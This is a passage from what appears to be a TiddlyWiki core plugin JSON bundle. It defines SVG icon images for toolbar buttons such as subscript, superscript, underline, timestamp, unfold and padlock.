            "text": "<svg class=\"tc-image-subscript tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M2.27170276,16 L22.1825093,16 L43.8305003,49.6746527 L66.4138983,16 L85.1220387,16 L53.5854592,61.9685735 L87.3937414,111.411516 L67.0820462,111.411516 L43.295982,74.9306422 L19.1090291,111.411516 L0,111.411516 L33.8082822,61.9685735 L2.27170276,16 Z M127.910914,128.411516 L85.3276227,128.411516 C85.3870139,123.24448 86.6342108,118.730815 89.0692508,114.870386 C91.5042907,111.009956 94.8301491,107.654403 99.0469256,104.803624 C101.066227,103.318844 103.174584,101.878629 105.372059,100.482935 C107.569534,99.0872413 109.588805,97.5876355 111.429933,95.9840726 C113.271061,94.3805097 114.785514,92.6433426 115.973338,90.7725192 C117.161163,88.9016958 117.784761,86.7487964 117.844152,84.3137564 C117.844152,83.1853233 117.710524,81.9826691 117.443264,80.7057579 C117.176003,79.4288467 116.656338,78.2410402 115.884252,77.1423026 C115.112166,76.0435651 114.04314,75.123015 112.677142,74.3806248 C111.311144,73.6382345 109.529434,73.267045 107.331959,73.267045 C105.312658,73.267045 103.634881,73.6679297 102.298579,74.4697112 C100.962276,75.2714926 99.8932503,76.3702137 99.0914688,77.7659073 C98.2896874,79.161601 97.6957841,80.8096826 97.3097412,82.7102016 C96.9236982,84.6107206 96.7009845,86.6596869 96.6415933,88.857162 L86.4857457,88.857162 C86.4857457,85.4124713 86.9460207,82.2202411 87.8665846,79.2803758 C88.7871485,76.3405105 90.1679736,73.801574 92.0091014,71.6634901 C93.8502292,69.5254062 96.092214,67.8476295 98.7351233,66.6301095 C101.378033,65.4125895 104.451482,64.8038386 107.955564,64.8038386 C111.756602,64.8038386 114.933984,65.4274371 117.487807,66.6746527 C120.041629,67.9218683 122.105443,69.4957119 123.67931,71.3962309 C125.253178,73.2967499 126.366746,75.3605638 127.02005,77.5877345 C127.673353,79.8149053 128,81.9381095 128,83.9574109 C128,86.4518421 127.613963,88.7086746 126.841877,90.727976 C126.069791,92.7472774 125.03046,94.6032252 123.723854,96.2958749 C122.417247,97.9885247 120.932489,99.5475208 119.269534,100.97291 C117.60658,102.398299 115.884261,103.734582 114.102524,104.981797 C112.320788,106.229013 110.539078,107.416819 108.757341,108.545253 C106.975605,109.673686 105.327523,110.802102 103.813047,111.930535 C102.298571,113.058968 100.977136,114.231927 99.8487031,115.449447 C98.7202699,116.666967 97.9481956,117.958707 97.5324571,119.324705 L127.910914,119.324705 L127.910914,128.411516 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/superscript": {
            "title": "$:/core/images/superscript",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-superscript tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M2.27170276,16 L22.1825093,16 L43.8305003,49.6746527 L66.4138983,16 L85.1220387,16 L53.5854592,61.9685735 L87.3937414,111.411516 L67.0820462,111.411516 L43.295982,74.9306422 L19.1090291,111.411516 L0,111.411516 L33.8082822,61.9685735 L2.27170276,16 Z M127.910914,63.4115159 L85.3276227,63.4115159 C85.3870139,58.2444799 86.6342108,53.7308149 89.0692508,49.8703857 C91.5042907,46.0099565 94.8301491,42.654403 99.0469256,39.8036245 C101.066227,38.318844 103.174584,36.8786285 105.372059,35.4829349 C107.569534,34.0872413 109.588805,32.5876355 111.429933,30.9840726 C113.271061,29.3805097 114.785514,27.6433426 115.973338,25.7725192 C117.161163,23.9016958 117.784761,21.7487964 117.844152,19.3137564 C117.844152,18.1853233 117.710524,16.9826691 117.443264,15.7057579 C117.176003,14.4288467 116.656338,13.2410402 115.884252,12.1423026 C115.112166,11.0435651 114.04314,10.123015 112.677142,9.38062477 C111.311144,8.63823453 109.529434,8.26704499 107.331959,8.26704499 C105.312658,8.26704499 103.634881,8.6679297 102.298579,9.46971115 C100.962276,10.2714926 99.8932503,11.3702137 99.0914688,12.7659073 C98.2896874,14.161601 97.6957841,15.8096826 97.3097412,17.7102016 C96.9236982,19.6107206 96.7009845,21.6596869 96.6415933,23.857162 L86.4857457,23.857162 C86.4857457,20.4124713 86.9460207,17.2202411 87.8665846,14.2803758 C88.7871485,11.3405105 90.1679736,8.80157397 92.0091014,6.6634901 C93.8502292,4.52540622 96.092214,2.84762946 98.7351233,1.63010947 C101.378033,0.412589489 104.451482,-0.196161372 107.955564,-0.196161372 C111.756602,-0.196161372 114.933984,0.427437071 117.487807,1.67465266 C120.041629,2.92186826 122.105443,4.49571195 123.67931,6.39623095 C125.253178,8.29674995 126.366746,10.3605638 127.02005,12.5877345 C127.673353,14.8149053 128,16.9381095 128,18.9574109 C128,21.4518421 127.613963,23.7086746 126.841877,25.727976 C126.069791,27.7472774 125.03046,29.6032252 123.723854,31.2958749 C122.417247,32.9885247 120.932489,34.5475208 119.269534,35.97291 C117.60658,37.3982993 115.884261,38.7345816 114.102524,39.9817972 C112.320788,41.2290128 110.539078,42.4168194 108.757341,43.5452525 C106.975605,44.6736857 105.327523,45.8021019 103.813047,46.9305351 C102.298571,48.0589682 100.977136,49.2319272 99.8487031,50.4494472 C98.7202699,51.6669672 97.9481956,52.9587068 97.5324571,54.3247048 L127.910914,54.3247048 L127.910914,63.4115159 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/tag-button": {
            "title": "$:/core/images/tag-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-tag-button tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M18.1643182,47.6600756 L18.1677196,51.7651887 C18.1708869,55.5878829 20.3581578,60.8623899 23.0531352,63.5573673 L84.9021823,125.406414 C87.5996731,128.103905 91.971139,128.096834 94.6717387,125.396234 L125.766905,94.3010679 C128.473612,91.5943612 128.472063,87.2264889 125.777085,84.5315115 L63.9280381,22.6824644 C61.2305472,19.9849735 55.9517395,17.801995 52.1318769,17.8010313 L25.0560441,17.7942007 C21.2311475,17.7932358 18.1421354,20.8872832 18.1452985,24.7049463 L18.1535504,34.6641936 C18.2481119,34.6754562 18.3439134,34.6864294 18.4409623,34.6971263 C22.1702157,35.1081705 26.9295004,34.6530132 31.806204,33.5444844 C32.1342781,33.0700515 32.5094815,32.6184036 32.9318197,32.1960654 C35.6385117,29.4893734 39.5490441,28.718649 42.94592,29.8824694 C43.0432142,29.8394357 43.1402334,29.7961748 43.2369683,29.7526887 L43.3646982,30.0368244 C44.566601,30.5115916 45.6933052,31.2351533 46.6655958,32.2074439 C50.4612154,36.0030635 50.4663097,42.1518845 46.6769742,45.94122 C43.0594074,49.5587868 37.2914155,49.7181264 33.4734256,46.422636 C28.1082519,47.5454734 22.7987486,48.0186448 18.1643182,47.6600756 Z\"></path>\n        <path d=\"M47.6333528,39.5324628 L47.6562932,39.5834939 C37.9670934,43.9391617 26.0718874,46.3819521 17.260095,45.4107025 C5.27267473,44.0894301 -1.02778744,36.4307276 2.44271359,24.0779512 C5.56175386,12.9761516 14.3014034,4.36129832 24.0466405,1.54817001 C34.7269254,-1.53487574 43.7955833,3.51606438 43.7955834,14.7730751 L35.1728168,14.7730752 C35.1728167,9.91428944 32.0946059,8.19982862 26.4381034,9.83267419 C19.5270911,11.8276553 13.046247,18.2159574 10.7440788,26.4102121 C8.82861123,33.2280582 11.161186,36.0634845 18.2047888,36.8398415 C25.3302805,37.6252244 35.7353482,35.4884477 44.1208333,31.7188498 L44.1475077,31.7781871 C44.159701,31.7725635 44.1718402,31.7671479 44.1839238,31.7619434 C45.9448098,31.0035157 50.4503245,38.3109156 47.7081571,39.5012767 C47.6834429,39.512005 47.6585061,39.5223987 47.6333528,39.5324628 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/theme-button": {
            "title": "$:/core/images/theme-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-theme-button tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M55.854113,66.9453198 C54.3299482,65.1432292 53.0133883,63.518995 51.9542746,62.1263761 C40.8899947,47.578055 35.3091807,55.2383404 28.9941893,62.1263758 C22.6791979,69.0144112 30.6577916,74.5954741 24.6646171,79.4611023 C18.6714426,84.3267304 19.0414417,86.0133155 8.92654943,77.1119468 C-1.18834284,68.2105781 -1.88793412,65.7597832 2.7553553,60.6807286 C7.39864472,55.601674 11.2794845,63.5989423 20.7646627,54.5728325 C30.2498409,45.5467226 22.2819131,37.5470737 22.2819131,37.5470737 C22.2819131,37.5470737 42.0310399,-2.82433362 68.4206088,0.157393922 C94.8101776,3.13912147 58.4373806,-3.70356506 49.3898693,27.958066 C45.5161782,41.5139906 50.1107906,38.3197672 57.4560458,44.0453955 C59.1625767,45.3756367 63.8839488,48.777453 70.127165,53.3625321 C63.9980513,59.2416709 58.9704753,64.0315459 55.854113,66.9453198 Z M67.4952439,79.8919946 C83.5082212,96.9282402 105.237121,117.617674 112.611591,120.312493 C123.044132,124.12481 128.000001,117.170903 128,105.522947 C127.999999,98.3705516 104.170675,78.980486 84.0760493,63.7529565 C76.6683337,70.9090328 70.7000957,76.7055226 67.4952439,79.8919946 Z\"></path>\n        <path d=\"M58.2852966,138.232794 L58.2852966,88.3943645 C56.318874,88.3923153 54.7254089,86.7952906 54.7254089,84.8344788 C54.7254089,82.8684071 56.3175932,81.2745911 58.2890859,81.2745911 L79.6408336,81.2745911 C81.608998,81.2745911 83.2045105,82.8724076 83.2045105,84.8344788 C83.2045105,86.7992907 81.614366,88.3923238 79.6446228,88.3943645 L79.6446228,88.3943646 L79.6446228,138.232794 C79.6446228,144.131009 74.8631748,148.912457 68.9649597,148.912457 C63.0667446,148.912457 58.2852966,144.131009 58.2852966,138.232794 Z M65.405072,-14.8423767 L72.5248474,-14.8423767 L76.0847351,-0.690681892 L72.5248474,6.51694947 L72.5248474,81.2745911 L65.405072,81.2745911 L65.405072,6.51694947 L61.8451843,-0.690681892 L65.405072,-14.8423767 Z\" transform=\"translate(68.964960, 67.035040) rotate(45.000000) translate(-68.964960, -67.035040) \"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/timestamp-off": {
            "title": "$:/core/images/timestamp-off",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-timestamp-off tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M58.25 11C26.08 11 0 37.082 0 69.25s26.08 58.25 58.25 58.25c32.175 0 58.25-26.082 58.25-58.25S90.425 11 58.25 11zm0 100.5C34.914 111.5 16 92.586 16 69.25 16 45.92 34.914 27 58.25 27s42.25 18.92 42.25 42.25c0 23.336-18.914 42.25-42.25 42.25zM49.704 10c-2.762 0-5-2.24-5-5-.004-2.756 2.238-5 5-5H66.69c2.762 0 5.002 2.24 5 5 .006 2.757-2.238 5-5 5H49.705z\"/><path d=\"M58.25 35.88c-18.777 0-33.998 15.224-33.998 33.998 0 18.773 15.22 34.002 33.998 34.002 18.784 0 34.002-15.23 34.002-34.002 0-18.774-15.218-33.998-34.002-33.998zm-3.03 50.123H44.196v-34H55.22v34zm16.976 0H61.17v-34h11.025v34z\"/>\n    </g>\n</svg>\n"
        },
        "$:/core/images/timestamp-on": {
            "title": "$:/core/images/timestamp-on",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-timestamp-on tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M58.25 11C26.08 11 0 37.082 0 69.25s26.08 58.25 58.25 58.25c32.175 0 58.25-26.082 58.25-58.25S90.425 11 58.25 11zm0 100.5C34.914 111.5 16 92.586 16 69.25 16 45.92 34.914 27 58.25 27s42.25 18.92 42.25 42.25c0 23.336-18.914 42.25-42.25 42.25zM49.704 10c-2.762 0-5-2.24-5-5-.004-2.756 2.238-5 5-5H66.69c2.762 0 5.002 2.24 5 5 .006 2.757-2.238 5-5 5H49.705z\"/><path d=\"M13.41 27.178c-2.116 1.775-5.27 1.498-7.045-.613-1.772-2.11-1.498-5.27.616-7.047l9.95-8.348c2.115-1.774 5.27-1.5 7.045.618 1.775 2.108 1.498 5.27-.616 7.043l-9.95 8.348zM102.983 27.178c2.116 1.775 5.27 1.498 7.045-.613 1.772-2.11 1.498-5.27-.616-7.047l-9.95-8.348c-2.114-1.774-5.27-1.5-7.044.618-1.775 2.108-1.498 5.27.616 7.043l9.95 8.348zM65.097 71.072c0 3.826-3.09 6.928-6.897 6.928-3.804.006-6.9-3.102-6.903-6.928 0 0 4.76-39.072 6.903-39.072s6.897 39.072 6.897 39.072z\"/>\n    </g>\n</svg>\n"
        },
        "$:/core/images/tip": {
            "title": "$:/core/images/tip",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-tip tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M64,128.241818 C99.346224,128.241818 128,99.5880417 128,64.2418177 C128,28.8955937 99.346224,0.241817675 64,0.241817675 C28.653776,0.241817675 0,28.8955937 0,64.2418177 C0,99.5880417 28.653776,128.241818 64,128.241818 Z M75.9358659,91.4531941 C75.3115438,95.581915 70.2059206,98.8016748 64,98.8016748 C57.7940794,98.8016748 52.6884562,95.581915 52.0641341,91.4531941 C54.3299053,94.0502127 58.8248941,95.8192805 64,95.8192805 C69.1751059,95.8192805 73.6700947,94.0502127 75.9358659,91.4531941 L75.9358659,91.4531941 Z M75.9358659,95.9453413 C75.3115438,100.074062 70.2059206,103.293822 64,103.293822 C57.7940794,103.293822 52.6884562,100.074062 52.0641341,95.9453413 C54.3299053,98.5423599 58.8248941,100.311428 64,100.311428 C69.1751059,100.311428 73.6700947,98.5423599 75.9358659,95.9453413 L75.9358659,95.9453413 Z M75.9358659,100.40119 C75.3115438,104.529911 70.2059206,107.74967 64,107.74967 C57.7940794,107.74967 52.6884562,104.529911 52.0641341,100.40119 C54.3299053,102.998208 58.8248941,104.767276 64,104.767276 C69.1751059,104.767276 73.6700947,102.998208 75.9358659,100.40119 L75.9358659,100.40119 Z M75.9358659,104.893337 C75.3115438,109.022058 70.2059206,112.241818 64,112.241818 C57.7940794,112.241818 52.6884562,109.022058 52.0641341,104.893337 C54.3299053,107.490356 58.8248941,109.259423 64,109.259423 C69.1751059,109.259423 73.6700947,107.490356 75.9358659,104.893337 L75.9358659,104.893337 Z M64.3010456,24.2418177 C75.9193117,24.2418188 88.0000013,32.0619847 88,48.4419659 C87.9999987,64.8219472 75.9193018,71.7540963 75.9193021,83.5755932 C75.9193022,89.4486648 70.0521957,92.8368862 63.9999994,92.8368862 C57.947803,92.8368862 51.9731007,89.8295115 51.9731007,83.5755932 C51.9731007,71.1469799 39.9999998,65.4700602 40,48.4419647 C40.0000002,31.4138691 52.6827796,24.2418166 64.3010456,24.2418177 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/transcludify": {
            "title": "$:/core/images/transcludify",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-transcludify-button tc-image-button\" viewBox=\"0 0 128 128\" width=\"22pt\" height=\"22pt\"><path d=\"M0 59.482c.591 0 1.36-.089 2.306-.266a10.417 10.417 0 0 0 2.75-.932 6.762 6.762 0 0 0 2.306-1.907c.651-.828.976-1.863.976-3.104V35.709c0-2.01.414-3.74 1.242-5.19.828-1.448 1.833-2.66 3.016-3.636s2.425-1.7 3.726-2.173c1.3-.473 2.424-.71 3.37-.71h8.073v7.451h-4.88c-1.241 0-2.232.207-2.97.621-.74.414-1.302.932-1.686 1.552a4.909 4.909 0 0 0-.71 1.996c-.089.71-.133 1.39-.133 2.04v16.677c0 1.715-.325 3.134-.976 4.258-.65 1.123-1.434 2.025-2.35 2.705-.917.68-1.863 1.168-2.839 1.464-.976.296-1.818.473-2.528.532v.178c.71.059 1.552.207 2.528.443.976.237 1.922.68 2.839 1.33.916.651 1.7 1.583 2.35 2.795.65 1.212.976 2.853.976 4.923v16.144c0 .65.044 1.33.133 2.04.089.71.325 1.375.71 1.996.384.621.946 1.139 1.685 1.553.74.414 1.73.62 2.972.62h4.879v7.452h-8.073c-.946 0-2.07-.237-3.37-.71-1.301-.473-2.543-1.197-3.726-2.173-1.183-.976-2.188-2.188-3.016-3.637-.828-1.449-1.242-3.179-1.242-5.19V74.119c0-1.42-.325-2.572-.976-3.46-.65-.886-1.419-1.581-2.306-2.084a8.868 8.868 0 0 0-2.75-1.02C1.36 67.377.591 67.288 0 67.288v-7.806zm24.66 0c.591 0 1.36-.089 2.306-.266a10.417 10.417 0 0 0 2.75-.932 6.762 6.762 0 0 0 2.306-1.907c.65-.828.976-1.863.976-3.104V35.709c0-2.01.414-3.74 1.242-5.19.828-1.448 1.833-2.66 3.016-3.636s2.425-1.7 3.726-2.173c1.3-.473 2.424-.71 3.37-.71h8.073v7.451h-4.88c-1.241 0-2.232.207-2.97.621-.74.414-1.302.932-1.686 1.552a4.909 4.909 0 0 0-.71 1.996c-.089.71-.133 1.39-.133 2.04v16.677c0 1.715-.325 3.134-.976 4.258-.65 1.123-1.434 2.025-2.35 2.705-.917.68-1.863 1.168-2.839 1.464-.976.296-1.818.473-2.528.532v.178c.71.059 1.552.207 2.528.443.976.237 1.922.68 2.839 1.33.916.651 1.7 1.583 2.35 2.795.65 1.212.976 2.853.976 4.923v16.144c0 .65.044 1.33.133 2.04.089.71.325 1.375.71 1.996.384.621.946 1.139 1.685 1.553.74.414 1.73.62 2.972.62h4.879v7.452h-8.073c-.946 0-2.07-.237-3.37-.71-1.301-.473-2.543-1.197-3.726-2.173-1.183-.976-2.188-2.188-3.016-3.637-.828-1.449-1.242-3.179-1.242-5.19V74.119c0-1.42-.325-2.572-.976-3.46-.65-.886-1.419-1.581-2.306-2.084a8.868 8.868 0 0 0-2.75-1.02c-.946-.177-1.715-.266-2.306-.266v-7.806zm43.965-3.538L80.6 52.041l2.306 7.097-12.063 3.903 7.628 10.378-6.12 4.435-7.63-10.467-7.45 10.201-5.943-4.524 7.628-10.023-12.152-4.17 2.306-7.096 12.064 4.17V43.347h7.451v12.596zm34.425 11.344c-.65 0-1.449.089-2.395.266-.946.177-1.863.488-2.75.931a6.356 6.356 0 0 0-2.262 1.908c-.62.828-.931 1.862-.931 3.104v17.564c0 2.01-.414 3.74-1.242 5.189-.828 1.449-1.833 2.661-3.016 3.637s-2.425 1.7-3.726 2.173c-1.3.473-2.424.71-3.37.71h-8.073v-7.451h4.88c1.241 0 2.232-.207 2.97-.621.74-.414 1.302-.932 1.686-1.553a4.9 4.9 0 0 0 .71-1.995c.089-.71.133-1.39.133-2.04V72.432c0-1.715.325-3.134.976-4.258.65-1.124 1.434-2.01 2.35-2.661.917-.65 1.863-1.124 2.839-1.42.976-.295 1.818-.502 2.528-.62v-.178c-.71-.059-1.552-.207-2.528-.443-.976-.237-1.922-.68-2.839-1.33-.916-.651-1.7-1.583-2.35-2.795-.65-1.212-.976-2.853-.976-4.923V37.66c0-.651-.044-1.331-.133-2.04a4.909 4.909 0 0 0-.71-1.997c-.384-.62-.946-1.138-1.685-1.552-.74-.414-1.73-.62-2.972-.62h-4.879V24h8.073c.946 0 2.07.237 3.37.71 1.301.473 2.543 1.197 3.726 2.173 1.183.976 2.188 2.188 3.016 3.637.828 1.449 1.242 3.178 1.242 5.189v16.943c0 1.419.31 2.572.931 3.46a6.897 6.897 0 0 0 2.262 2.084 8.868 8.868 0 0 0 2.75 1.02c.946.177 1.745.266 2.395.266v7.806zm24.66 0c-.65 0-1.449.089-2.395.266-.946.177-1.863.488-2.75.931a6.356 6.356 0 0 0-2.262 1.908c-.62.828-.931 1.862-.931 3.104v17.564c0 2.01-.414 3.74-1.242 5.189-.828 1.449-1.833 2.661-3.016 3.637s-2.425 1.7-3.726 2.173c-1.3.473-2.424.71-3.37.71h-8.073v-7.451h4.88c1.241 0 2.232-.207 2.97-.621.74-.414 1.302-.932 1.686-1.553a4.9 4.9 0 0 0 .71-1.995c.089-.71.133-1.39.133-2.04V72.432c0-1.715.325-3.134.976-4.258.65-1.124 1.434-2.01 2.35-2.661.917-.65 1.863-1.124 2.839-1.42.976-.295 1.818-.502 2.528-.62v-.178c-.71-.059-1.552-.207-2.528-.443-.976-.237-1.922-.68-2.839-1.33-.916-.651-1.7-1.583-2.35-2.795-.65-1.212-.976-2.853-.976-4.923V37.66c0-.651-.044-1.331-.133-2.04a4.909 4.909 0 0 0-.71-1.997c-.384-.62-.946-1.138-1.685-1.552-.74-.414-1.73-.62-2.972-.62h-4.879V24h8.073c.946 0 2.07.237 3.37.71 1.301.473 2.543 1.197 3.726 2.173 1.183.976 2.188 2.188 3.016 3.637.828 1.449 1.242 3.178 1.242 5.189v16.943c0 1.419.31 2.572.931 3.46a6.897 6.897 0 0 0 2.262 2.084 8.868 8.868 0 0 0 2.75 1.02c.946.177 1.745.266 2.395.266v7.806z\" fill-rule=\"evenodd\"/></svg>\n"
        },
        "$:/core/images/twitter": {
            "title": "$:/core/images/twitter",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-twitter tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M41.6263422,115.803477 C27.0279663,115.803477 13.4398394,111.540813 1.99987456,104.234833 C4.02221627,104.472643 6.08004574,104.594302 8.16644978,104.594302 C20.277456,104.594302 31.4238403,100.47763 40.270894,93.5715185 C28.9590538,93.3635501 19.4123842,85.9189246 16.1230832,75.6885328 C17.7011365,75.9892376 19.320669,76.1503787 20.9862896,76.1503787 C23.344152,76.1503787 25.6278127,75.8359011 27.7971751,75.247346 C15.9709927,72.8821073 7.06079851,62.4745062 7.06079851,49.9982394 C7.06079851,49.8898938 7.06079851,49.7820074 7.06264203,49.67458 C10.5482779,51.6032228 14.5339687,52.7615103 18.7717609,52.8951059 C11.8355159,48.277565 7.2714207,40.3958845 7.2714207,31.4624258 C7.2714207,26.7434257 8.54621495,22.3200804 10.7713439,18.5169676 C23.5211299,34.0957738 42.568842,44.3472839 64.0532269,45.4210985 C63.6126256,43.5365285 63.3835682,41.5711584 63.3835682,39.5529928 C63.3835682,25.3326379 74.95811,13.8034766 89.2347917,13.8034766 C96.6697089,13.8034766 103.387958,16.930807 108.103682,21.9353619 C113.991886,20.780288 119.52429,18.6372496 124.518847,15.6866694 C122.588682,21.6993889 118.490075,26.7457211 113.152623,29.9327334 C118.381769,29.3102055 123.363882,27.926045 127.999875,25.8780385 C124.534056,31.0418981 120.151087,35.5772616 115.100763,39.2077561 C115.150538,40.3118708 115.175426,41.4224128 115.175426,42.538923 C115.175426,76.5663154 89.1744164,115.803477 41.6263422,115.803477\"></path>\n    </g>\n</svg>\n"
        },
        "$:/core/images/underline": {
            "title": "$:/core/images/underline",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-underline tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M7,117.421488 L121.247934,117.421488 L121.247934,128 L7,128 L7,117.421488 Z M104.871212,98.8958333 L104.871212,0 L88.6117424,0 L88.6117424,55.8560606 C88.6117424,60.3194668 88.0060035,64.432115 86.7945076,68.1941288 C85.5830116,71.9561425 83.7657949,75.239885 81.342803,78.0454545 C78.9198111,80.8510241 75.8911167,83.0189317 72.2566288,84.5492424 C68.6221409,86.0795531 64.3182067,86.844697 59.344697,86.844697 C53.0959284,86.844697 48.1862552,85.0593613 44.6155303,81.4886364 C41.0448054,77.9179114 39.2594697,73.0720003 39.2594697,66.9507576 L39.2594697,0 L23,0 L23,65.0378788 C23,70.3939662 23.5419769,75.2717583 24.625947,79.6714015 C25.709917,84.0710447 27.5908957,87.864883 30.2689394,91.0530303 C32.9469831,94.2411776 36.4538925,96.6960141 40.7897727,98.4176136 C45.125653,100.139213 50.545422,101 57.0492424,101 C64.3182182,101 70.630655,99.5653553 75.9867424,96.6960227 C81.3428298,93.8266902 85.742407,89.33147 89.1856061,83.2102273 L89.5681818,83.2102273 L89.5681818,98.8958333 L104.871212,98.8958333 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/unfold-all-button": {
            "title": "$:/core/images/unfold-all-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-unfold-all tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <rect x=\"0\" y=\"0\" width=\"128\" height=\"16\" rx=\"8\"></rect>\n        <rect x=\"0\" y=\"64\" width=\"128\" height=\"16\" rx=\"8\"></rect>\n        <path d=\"M85.598226,8.34884273 C84.1490432,6.89863875 82.1463102,6 79.9340286,6 L47.9482224,6 C43.5292967,6 39.9411255,9.581722 39.9411255,14 C39.9411255,18.4092877 43.5260249,22 47.9482224,22 L71.9411255,22 L71.9411255,45.9929031 C71.9411255,50.4118288 75.5228475,54 79.9411255,54 C84.3504132,54 87.9411255,50.4151006 87.9411255,45.9929031 L87.9411255,14.0070969 C87.9411255,11.7964515 87.0447363,9.79371715 85.5956548,8.34412458 Z\" transform=\"translate(63.941125, 30.000000) scale(1, -1) rotate(-45.000000) translate(-63.941125, -30.000000) \"></path>\n        <path d=\"M85.6571005,72.2899682 C84.2079177,70.8397642 82.2051847,69.9411255 79.9929031,69.9411255 L48.0070969,69.9411255 C43.5881712,69.9411255 40,73.5228475 40,77.9411255 C40,82.3504132 43.5848994,85.9411255 48.0070969,85.9411255 L72,85.9411255 L72,109.934029 C72,114.352954 75.581722,117.941125 80,117.941125 C84.4092877,117.941125 88,114.356226 88,109.934029 L88,77.9482224 C88,75.737577 87.1036108,73.7348426 85.6545293,72.2852501 Z\" transform=\"translate(64.000000, 93.941125) scale(1, -1) rotate(-45.000000) translate(-64.000000, -93.941125) \"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/unfold-button": {
            "title": "$:/core/images/unfold-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-unfold tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <rect x=\"0\" y=\"0\" width=\"128\" height=\"16\" rx=\"8\"></rect>\n        <path d=\"M85.598226,11.3488427 C84.1490432,9.89863875 82.1463102,9 79.9340286,9 L47.9482224,9 C43.5292967,9 39.9411255,12.581722 39.9411255,17 C39.9411255,21.4092877 43.5260249,25 47.9482224,25 L71.9411255,25 L71.9411255,48.9929031 C71.9411255,53.4118288 75.5228475,57 79.9411255,57 C84.3504132,57 87.9411255,53.4151006 87.9411255,48.9929031 L87.9411255,17.0070969 C87.9411255,14.7964515 87.0447363,12.7937171 85.5956548,11.3441246 Z\" transform=\"translate(63.941125, 33.000000) scale(1, -1) rotate(-45.000000) translate(-63.941125, -33.000000) \"></path>\n        <path d=\"M85.6571005,53.4077172 C84.2079177,51.9575133 82.2051847,51.0588745 79.9929031,51.0588745 L48.0070969,51.0588745 C43.5881712,51.0588745 40,54.6405965 40,59.0588745 C40,63.4681622 43.5848994,67.0588745 48.0070969,67.0588745 L72,67.0588745 L72,91.0517776 C72,95.4707033 75.581722,99.0588745 80,99.0588745 C84.4092877,99.0588745 88,95.4739751 88,91.0517776 L88,59.0659714 C88,56.855326 87.1036108,54.8525917 85.6545293,53.4029991 Z\" transform=\"translate(64.000000, 75.058875) scale(1, -1) rotate(-45.000000) translate(-64.000000, -75.058875) \"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/unlocked-padlock": {
            "title": "$:/core/images/unlocked-padlock",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-unlocked-padlock tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M48.6266053,64 L105,64 L105,96.0097716 C105,113.673909 90.6736461,128 73.001193,128 L55.998807,128 C38.3179793,128 24,113.677487 24,96.0097716 L24,64 L30.136303,64 C19.6806213,51.3490406 2.77158986,28.2115132 25.8366966,8.85759246 C50.4723026,-11.8141335 71.6711028,13.2108337 81.613302,25.0594855 C91.5555012,36.9081373 78.9368488,47.4964439 69.1559674,34.9513593 C59.375086,22.4062748 47.9893192,10.8049522 35.9485154,20.9083862 C23.9077117,31.0118202 34.192312,43.2685325 44.7624679,55.8655518 C47.229397,58.805523 48.403443,61.5979188 48.6266053,64 Z M67.7315279,92.3641717 C70.8232551,91.0923621 73,88.0503841 73,84.5 C73,79.8055796 69.1944204,76 64.5,76 C59.8055796,76 56,79.8055796 56,84.5 C56,87.947435 58.0523387,90.9155206 61.0018621,92.2491029 L55.9067479,115.020857 L72.8008958,115.020857 L67.7315279,92.3641717 L67.7315279,92.3641717 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/up-arrow": {
            "title": "$:/core/images/up-arrow",
            "created": "20150316000544368",
            "modified": "20150316000831867",
            "tags": "$:/tags/Image",
